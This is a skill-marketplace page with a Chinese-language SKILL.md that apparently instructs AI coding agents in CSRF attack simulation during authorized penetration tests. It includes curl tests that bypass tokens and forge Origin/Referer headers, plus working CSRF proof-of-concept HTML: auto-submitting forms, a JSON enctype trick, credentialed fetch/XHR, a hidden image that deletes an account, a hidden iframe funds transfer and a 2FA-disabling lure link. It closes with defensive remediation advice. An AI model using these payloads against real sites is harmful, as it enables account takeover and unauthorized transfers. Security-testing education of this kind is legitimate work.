performing-csrf-attack-simulation

在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。

9 stars

Best use case

performing-csrf-attack-simulation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。

Teams using performing-csrf-attack-simulation should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

You only need a quick one-off answer and do not need a reusable workflow.
You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-csrf-attack-simulation/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-csrf-attack-simulation/SKILL.md"

Manual Installation

Download SKILL.md from GitHub
Place it in .claude/skills/performing-csrf-attack-simulation/SKILL.md inside your project
Restart your AI agent — it will auto-discover the skill

How performing-csrf-attack-simulation Compares

Feature / Agent	performing-csrf-attack-simulation	Standard Approach
Platform Support	Not specified	Limited / Varies
Context Awareness	High	Baseline
Installation Complexity	Unknown	N/A

Frequently Asked Questions

What does this skill do?

在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行 CSRF 攻击模拟（Performing CSRF Attack Simulation）

## 适用场景

- 在授权 Web 应用程序渗透测试期间，识别易受 CSRF 攻击的状态变更操作
- 测试反 CSRF 令牌实现的有效性时
- 验证不同浏览器中 SameSite Cookie 属性的强制执行时
- 评估执行敏感操作的应用程序（密码修改、资金转账、设置变更）时
- 在对自定义认证和会话管理机制进行安全审计时

## 前置条件

- **授权**：针对目标的书面渗透测试协议
- **Burp Suite Professional**：具备 CSRF PoC 生成功能
- **Web 服务器**：用于托管 CSRF PoC 页面的本地 HTTP 服务器（Python `http.server`）
- **两个浏览器**：一个以受害者身份认证，一个作为攻击者
- **目标应用程序**：带有有效测试凭据的已认证会话
- **HTML/JavaScript 知识**：用于构造自定义 CSRF 载荷

## 工作流程

### 步骤 1：识别状态变更请求

浏览应用程序，识别所有修改服务器端状态的 POST/PUT/DELETE 请求。

```
# 在 Burp Suite 中，查看 Proxy > HTTP History
# 过滤 POST/PUT/DELETE 方法
# 重点关注以下操作：
# - 密码/邮箱修改
# - 资金/金钱转账
# - 账户设置变更
# - 添加/删除用户或权限
# - 创建/删除资源
# - 切换安全功能（禁用双因素认证）

# Burp 中捕获的状态变更请求示例：
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# 检查反 CSRF 保护：
# - 表单字段或头部中的 CSRF 令牌
# - 自定义头部（X-CSRF-Token、X-Requested-With）
# - SameSite Cookie 属性
# - Referer/Origin 头部验证
```

### 步骤 2：分析反 CSRF 令牌实现

测试现有 CSRF 保护的强度和执行情况。

```bash
# 检查是否存在 CSRF 令牌
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# 测试 1：完全删除 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 2：发送空的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 3：使用随机/无效的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 4：复用过期/旧的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 5：使用用户 B 的 CSRF 令牌与用户 A 的会话
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"
```

### 步骤 3：检查 SameSite Cookie 和头部保护

验证基于浏览器和头部的 CSRF 防御。

```bash
# 检查会话 Cookie 上的 SameSite 属性
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# 查找：SameSite=Strict、SameSite=Lax 或 SameSite=None

# SameSite=Lax 允许对顶层 GET 导航进行 CSRF
# SameSite=None; Secure 允许跨站请求
# 无 SameSite 属性：浏览器默认为 Lax（现代浏览器）

# 检查 Origin/Referer 头部验证
# 发送不含 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送含恶意 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送伪造 Origin 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"
```

### 步骤 4：使用 Burp Suite 生成 CSRF 概念验证

使用 Burp 内置的 CSRF PoC 生成器进行快速测试。

```
# 在 Burp Suite 中：
# 1. 右键点击 Proxy > HTTP History 中的目标请求
# 2. 选择"Engagement tools">"Generate CSRF PoC"
# 3. 点击"Test in browser"验证 PoC

# Burp 生成如下 HTML：
```

```html
<!-- 自动提交的表单编码 POST CSRF PoC -->
<html>
  <body>
    <h1>加载中...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>
```

### 步骤 5：构造高级 CSRF 载荷

针对 JSON API 和其他非标准内容类型，使用高级技术。

```html
<!-- 使用 enctype 的 JSON API CSRF 表单 -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- 通过 XMLHttpRequest 的 CSRF（需要宽松的 CORS） -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>

<!-- 通过 fetch API 的 CSRF -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "email=attacker@evil.com"
});
</script>

<!-- 通过图片标签的 CSRF（基于 GET 的状态变更） -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- 通过 iframe 的多步骤 CSRF -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
```

### 步骤 6：测试并验证 CSRF 攻击

托管 PoC 并确认成功利用。

```bash
# 启动本地 Web 服务器托管 CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC 文件结构：
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC 页面
#   change-email.html   <- 邮箱修改 CSRF
#   transfer.html       <- 资金转账 CSRF

# 测试步骤：
# 1. 在浏览器 A 中以受害者用户身份登录目标
# 2. 在浏览器 A 中打开 http://localhost:8888/change-email.html
# 3. 检查邮箱是否在未经受害者同意的情况下被修改
# 4. 在应用程序中验证状态变更

# 通过顶层导航绕过 SameSite=Lax：
# 对基于 GET 的 CSRF 使用 window.open 或 anchor 标签
```

```html
<!-- 使用顶层导航绕过 SameSite=Lax -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">点击此处获得奖励！</a>
    <script>
      // 通过社会工程学上下文自动点击
      // SameSite=Lax 允许在顶层 GET 导航时携带 Cookie
    </script>
  </body>
</html>
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **CSRF** | 欺骗已认证用户的浏览器向存在漏洞的站点发出非预期请求的攻击 |
| **反 CSRF 令牌（Anti-CSRF Token）** | 绑定到用户会话的唯一不可预测值，必须包含在状态变更请求中 |
| **SameSite Cookie** | 控制 Cookie 在跨站请求中何时发送的浏览器属性（Strict、Lax、None） |
| **Origin 头部** | 表明请求来源的 HTTP 头部，用于 CSRF 验证 |
| **Referer 头部** | 包含引用页面 URL 的 HTTP 头部，有时用于 CSRF 检查 |
| **双重提交 Cookie（Double Submit Cookie）** | 比较 Cookie 值与请求参数值的 CSRF 防御方式 |
| **同步器令牌模式（Synchronizer Token Pattern）** | 服务器为每个会话或每个请求生成并验证唯一令牌 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | CSRF PoC 生成器和请求分析 |
| **OWASP ZAP** | 反 CSRF 令牌检测和 CSRF 测试 |
| **XSRFProbe** | 自动化 CSRF 漏洞扫描器（`pip install xsrfprobe`） |
| **Python http.server** | 用于托管 CSRF PoC 页面的本地 Web 服务器 |
| **Browser DevTools** | 检查 Cookie、SameSite 属性和网络请求 |
| **CSRFTester (OWASP)** | 用于构造和测试 CSRF 攻击的旧版工具 |

## 常见场景

### 场景 1：无 CSRF 令牌的邮箱修改
邮箱修改表单不包含 CSRF 令牌。攻击者托管一个自动提交表单的页面，将受害者邮箱修改为攻击者地址，从而通过密码重置链实现账户接管。

### 场景 2：通过令牌绕过的资金转账
银行应用程序具有 CSRF 令牌，但如果参数被完全省略则不进行验证。从转账表单中删除 `csrf_token` 字段即可实现跨站资金转账。

### 场景 3：通过内容类型操控的 JSON API CSRF
JSON API 端点不需要自定义头部。在 HTML 表单中使用 `enctype="text/plain"`，攻击者可以构造有效的 JSON 请求体来修改受害者的账户设置。

### 场景 4：基于 GET 状态变更的 SameSite=Lax 绕过
设置页面通过 GET 请求修改状态（`/settings?disable_2fa=true`）。由于 `SameSite=Lax` 允许在顶层 GET 导航时携带 Cookie，将受害者链接到此 URL 即可禁用其双因素认证。

## 输出格式

```
## CSRF 漏洞发现报告

**漏洞**：跨站请求伪造（邮箱修改）
**严重程度**：高（CVSS 8.0）
**位置**：POST /api/account/change-email
**OWASP 类别**：A01:2021 - 访问控制失效

### 复现步骤
1. 以受害者身份在 https://target.example.com 认证
2. 在攻击者控制的服务器上托管以下 HTML
3. 诱使受害者在已认证状态下访问攻击者页面
4. 受害者邮箱在未经同意的情况下被修改为 attacker@evil.com

### 已测试的反 CSRF 防御
| 防御措施 | 是否存在 | 是否强制执行 |
|---------|---------|----------|
| CSRF 令牌 | 否 | 不适用 |
| SameSite Cookie | Lax | 部分（GET 绕过） |
| Origin 验证 | 否 | 不适用 |
| Referer 验证 | 否 | 不适用 |
| 需要自定义头部 | 否 | 不适用 |

### 影响
- 通过邮箱修改 + 密码重置链实现账户接管
- 未授权资金转账
- 设置修改（禁用双因素认证、通知变更）

### 修复建议
1. 对所有状态变更请求实施同步器令牌模式（反 CSRF 令牌）
2. 尽可能在会话 Cookie 上设置 SameSite=Strict
3. 将 Origin 和 Referer 头部验证作为深度防御措施
4. 对敏感操作（密码修改、资金转账）要求重新认证
5. 对 AJAX 端点使用自定义请求头（X-Requested-With）
```

Related Skills

recovering-from-ransomware-attack

from killvxk/cybersecurity-skills-zh

按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复，包括环境隔离、取证证据保全、干净基础设施重建、从已验证备份优先还原系统、凭据重置，以及针对再感染的验证。涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。

performing-yara-rule-development-for-detection

from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标，开发精准的 YARA 恶意软件检测规则，同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估，检测流氓接入点（Rogue AP）、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试，通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段，评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件（包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer）执行全面的 Windows 取证制品分析，解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包，并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解，以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

from killvxk/cybersecurity-skills-zh

在授权安全测试期间，通过未纳入缓存键的头部和参数毒化缓存响应，利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异，执行 Web 缓存欺骗攻击，从而缓存并获取敏感的已认证内容。

performing-web-application-vulnerability-triage

from killvxk/cybersecurity-skills-zh

使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类，区分真阳性和假阳性，并确定修复优先级。

performing-web-application-scanning-with-nikto

from killvxk/cybersecurity-skills-zh

Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器，可针对超过 7,000 个潜在危险文件/程序进行测试，检查超过 1,250 个服务器的过期版本，并识别超过 270 个服务器的版本特定问题。

performing-web-application-penetration-test

from killvxk/cybersecurity-skills-zh

遵循 OWASP Web 安全测试指南（WSTG）方法论，对 Web 应用程序执行系统化安全测试，识别认证、授权、输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理，结合手动测试技术发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。

performing-web-application-firewall-bypass

from killvxk/cybersecurity-skills-zh

使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护，将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。